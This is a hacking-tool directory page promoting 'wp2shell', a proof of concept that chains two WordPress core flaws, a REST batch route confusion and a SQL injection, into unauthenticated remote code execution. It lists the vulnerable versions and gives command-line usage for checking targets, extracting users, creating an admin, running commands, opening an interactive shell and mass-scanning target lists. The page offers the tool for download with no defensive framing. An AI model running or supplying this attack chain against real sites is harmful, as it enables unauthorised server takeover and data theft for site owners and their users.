Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell — wp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Tools/GitHubGitHub/johenlastgen-jlg/wp2shell
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubjohenlastgen-jlg/wp2shell

wp2shell

wp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137)

View Repository
21111 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell - WordPress RCE PoC (CVE-2026-63030 + CVE-2026-60137)

Unauthenticated Remote Code Execution in WordPress Core

by: JohenLastGen

📌 Overview

This tool chains two critical WordPress vulnerabilities to achieve unauthenticated RCE:

VulnerabilityCVEDescription
REST Batch Route ConfusionCVE-2026-63030Bypass validation, smuggles SQLi payload
WP_Query author__not_in SQLiCVE-2026-60137Raw string injection → SQL execution

Impact: Unauthenticated attacker → create admin → execute commands

🎯 Affected Versions

Version RangeStatus
WordPress 6.9.0 - 6.9.4✅ VULNERABLE (Full RCE Chain)
WordPress 7.0.0 - 7.0.1✅ VULNERABLE (Full RCE Chain)
WordPress 6.8.0 - 6.8.5⚠️ SQLi only (needs facilitating plugin)
WordPress 6.9.5, 7.0.2+❌ Patched

🚀 Quick Start

root@kitploit:~
#options:
  -h, --help show this help message and exit
python3 wp2shell.py --help

# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com

# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users

# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"

# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive

# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json
Download Tool